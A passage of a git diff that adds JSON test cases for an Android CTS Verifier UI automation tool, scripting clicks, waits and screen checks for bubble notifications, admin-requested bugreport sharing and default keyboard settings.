notification\",\"actionId\":\"47d111bc-f1ac-43c5-a890-42e3e77ff5ad\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\n\\nd.text(\\\"BubbleChat\\\").parent().parent().swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, Step 9 - Send auto-expanded bubble notification\",\"actionId\":\"3277fa21-cbca-490b-9eb5-a1d28310651f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/bubble_test_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY that a bubble appears on screen, auto-expanded\",\"actionId\":\"dadce6ee-6e0b-4435-a2fb-4c5278460f5a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/bubble_expanded_view\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"685979e5-3870-49c1-bfc5-918edcc49ed6\",\"f0983adb-dd69-49ba-87cc-b9743ad938cc\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"afdd8c0f-6ff3-4506-bdd2-be552c021a9b\",\"8153f38f-2ee0-4bef-a704-29e0201b9536\",\"5382f206-1f12-407c-b56d-9e63b7e0224d\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"19fadb00-593a-4fb4-84e4-c33410cd8d0c\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"dc311f71-daa8-41b1-9b8c-2c654c240fa1\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"37bd58c3-6297-4c65-ac3f-e575ec7b3986\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"df9d8789-1767-4841-8a89-2e996ef3f294\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"6fb3380d-5c04-4a02-b7f4-d7dd6cb3f4dc\",\"696f0a59-5696-49f9-8573-34cfc71c3c61\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"ca0f5702-f8ce-49f7-aa80-676f3afdcd85\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"3cd70629-4895-4ae4-9d19-a2581af30c3c\",\"1c0d44ff-5ed3-4ea1-b931-f2cb903c504b\",\"008221ef-2f19-4071-9311-cfbe47857bb3\",\"e26e0b7d-f764-43a4-972e-1879b9ce2b3a\",\"37bd58c3-6297-4c65-ac3f-e575ec7b3986\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"656b5f04-a88a-4f87-a10a-2230f02605d9\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"8ef662f7-4f74-4591-ae52-3225f30513b1\",\"696f0a59-5696-49f9-8573-34cfc71c3c61\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"223c381e-028a-457f-ab96-bb2a631dd512\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"7db88cc2-8f43-4668-a7bc-0afb68e49de3\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"47d111bc-f1ac-43c5-a890-42e3e77ff5ad\",\"37bd58c3-6297-4c65-ac3f-e575ec7b3986\",\"31902e22-dd19-4a14-9a1f-5bca034bacd5\",\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"3277fa21-cbca-490b-9eb5-a1d28310651f\",\"dadce6ee-6e0b-4435-a2fb-4c5278460f5a\",\"e26e0b7d-f764-43a4-972e-1879b9ce2b3a\",\"e7f9f493-a79b-4e07-8b28-1ac9a5ef5d28\",\"8ef662f7-4f74-4591-ae52-3225f30513b1\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Bubble Notification Tests","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.223000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f
new file mode 100644
index 0000000..868db2c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f
@@ -0,0 +1 @@
+{"uuid":"e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f","details":"{\"type\":\"CompoundAction\",\"name\":\"05-Sharing of requested bugreport accepted after having been taken\",\"actionId\":\"e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Sharing of requested bugreport accepted after having been taken\",\"actionId\":\"82a500ca-d7ad-4fab-a452-c6b3588eabf5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Sharing of requested bugreport accepted after having been taken\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bug report\\\" progress bar is present\",\"actionId\":\"7733b655-21f9-44c5-afe1-97358053ca56\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"WaitAction\",\"name\":\"WAIT 125 secs(Wait for bugreport to be collected)\",\"actionId\":\"34f1ad4a-22c7-4f82-a585-c0281c000455\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":125000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bug report\\\" is dismissed\",\"actionId\":\"c1c5ec25-0be6-4c20-822f-28279986a2e9\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY a message \\\"Your admin requested a bug report to help troubleshoot this device\\\" is shown\",\"actionId\":\"ef1cea85-6b99-47cc-9a1d-4aee62be60c6\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Your admin requested a bug report to help troubleshoot this device\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, SHARE button\",\"actionId\":\"fea370bd-1052-4438-9459-87f938731d74\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"SHARE\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Share bug report\\\" is dismissed\",\"actionId\":\"4821b549-5274-4aa2-9a3e-a7d8e369e270\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Share bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Bugreport shared successfully\\\" is present\",\"actionId\":\"b12ad70c-c64f-4d8b-a8cd-4c32b06fc36d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Bugreport shared successfully\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"Dismiss \\\"Bugreport shared successfully\\\" notification\",\"actionId\":\"2ad839f1-ef46-4546-a5f8-3120fc16b0af\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nd.text(\\\"Bugreport shared successfully\\\").swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"97f395fe-d251-4879-b38b-308966952508\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"82a500ca-d7ad-4fab-a452-c6b3588eabf5\",\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"7733b655-21f9-44c5-afe1-97358053ca56\",\"34f1ad4a-22c7-4f82-a585-c0281c000455\",\"c1c5ec25-0be6-4c20-822f-28279986a2e9\",\"ef1cea85-6b99-47cc-9a1d-4aee62be60c6\",\"fea370bd-1052-4438-9459-87f938731d74\",\"4821b549-5274-4aa2-9a3e-a7d8e369e270\",\"b12ad70c-c64f-4d8b-a8cd-4c32b06fc36d\",\"2ad839f1-ef46-4546-a5f8-3120fc16b0af\",\"97f395fe-d251-4879-b38b-308966952508\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"05-Sharing of requested bugreport accepted after having been taken","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.077000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2eae039-e0f9-4bad-a122-3b67582d0cb2 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2eae039-e0f9-4bad-a122-3b67582d0cb2
new file mode 100644
index 0000000..d023605
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e2eae039-e0f9-4bad-a122-3b67582d0cb2
@@ -0,0 +1 @@
+{"uuid":"e2eae039-e0f9-4bad-a122-3b67582d0cb2","details":"{\"type\":\"CompoundAction\",\"name\":\"16-10-Default keyboard\",\"actionId\":\"e2eae039-e0f9-4bad-a122-3b67582d0cb2\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Default keyboard\",\"actionId\":\"ee7819cd-9ce8-4899-ba54-38e0074e3cbd\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Default keyboard\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"aa8b68ae-baf9-44f6-b60d-7e0fd6e149b8\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Default keyboard\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":469.25,\"x2\":351.25,\"y2\":511.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":67.5,\"y\":489.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":112.5,\"y\":0.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"aa8b68ae-baf9-44f6-b60d-7e0fd6e149b8\",\"firstText\":\"Default keyboard\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Default keyboard\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":480.0,\"x2\":130.0,\"y2\":499.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Default keyboard\",\"actionId\":\"0439169c-ca8e-43e2-bcd1-160703425820\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Default keyboard\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told the default keyboard has been set\",\"actionId\":\"1c0899ad-1dda-4846-9f75-a8959d54b5e1\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Default keyboard\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"28cf2df7-2323-4f53-bacb-7b6325560b4a\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"49baf45e-a2b2-429d-a850-7a1a1d8fd659\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b36a3cf8-ef8d-4f48-9dd5-39e1c99d4bc2\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Default keyboard\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":171.75,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.875,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default keyboard\"},{\"uuid\":\"c7d1556c-68df-49d4-b749-7e4a4d54fcd4\",\"displayText\":\"Set to CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Set to CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":161.75,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Set to CTS Verifier\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default keyboard\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":116.5,\"y\":400.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":63.5,\"y\":9.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"b36a3cf8-ef8d-4f48-9dd5-39e1c99d4bc2\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Default keyboard\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":392.0,\"x2\":176.0,\"y2\":408.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"ef72371f-c6e8-4a50-98aa-7ea054319170\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Keyboard\",\"actionId\":\"fef28d99-3a7d-40b4-898e-a22ed680386f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Keyboard\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told the default keyboard has been set\",\"actionId\":\"be43d35c-a5a2-4830-a89d-e2bcec92cb10\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Default keyboard\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"37e7e8fb-e30e-4ead-b194-cc7caf039f54\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cca5b21d-f27c-46a2-ba1e-51fce9e05719\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1ade400c-a68b-4259-a7c8-8e1d4ffd1ef5\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Default keyboard\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":171.75,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.875,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default keyboard\"},{\"uuid\":\"d63e5e7d-c6f9-4771-b039-aa5f7d6bd68c\",\"displayText\":\"Set to CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Set to CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":161.75,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Set to CTS Verifier\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default keyboard\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":113.5,\"y\":398.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":66.5,\"y\":11.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"1ade400c-a68b-4259-a7c8-8e1d4ffd1ef5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Default keyboard\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":60.0,\"y1\":388.0,\"x2\":167.0,\"y2\":409.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify default keyboard has been set to CTS Verifier\",\"actionId\":\"90cecc91-6d86-4571-bcf1-95ffb6f0da6b\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Set to CTS Verifier\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"5c1c3fdc-976e-44e0-ab63-ea6a739e1aa8\",\"displayText\":\"Set to CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c210eba9-c0e0-4b9e-9e81-e262615001c5\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"7ab3ae73-6eff-471c-a42c-f4ec4c06946f\",\"displayText\":\"Default keyboard\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Default keyboard\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":171.75,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default keyboard\"},{\"uuid\":\"afa1f558-7907-4b87-b5ff-d52af67d6056\",\"displayText\":\"Set to CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Set to CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":161.75,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.625,\"y\":-0.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Set to CTS Verifier\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default keyboard\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":117.0,\"y\":419.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":63.0,\"y\":-9.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"afa1f558-7907-4b87-b5ff-d52af67d6056\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Set to CTS Verifier\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":411.0,\"x2\":177.0,\"y2\":428.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"daf53e8f-2b0a-48e5-a567-b9a21de6dc2d\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"03e19599-15d9-4cff-acc4-88b977853f25\",\"ee7819cd-9ce8-4899-ba54-38e0074e3cbd\",\"0439169c-ca8e-43e2-bcd1-160703425820\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"1c0899ad-1dda-4846-9f75-a8959d54b5e1\",\"ef72371f-c6e8-4a50-98aa-7ea054319170\",\"fef28d99-3a7d-40b4-898e-a22ed680386f\",\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"be43d35c-a5a2-4830-a89d-e2bcec92cb10\",\"90cecc91-6d86-4571-bcf1-95ffb6f0da6b\",\"daf53e8f-2b0a-48e5-a567-b9a21de6dc2d\",\"b17bcc33-34e0-4aba-a8ce-080ea0d0846c\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"16-10-Default keyboard","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.183000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e395e5d8-df59-4e7d-bf18-6cd65da3ff8b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e395e5d8-df59-4e7d-bf18-6cd65da3ff8b
new file mode 100644
index 0000000..73de011
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e395e5d8-df59-4e7d-bf18-6cd65da3ff8b
@@ -0,0 +1 @@
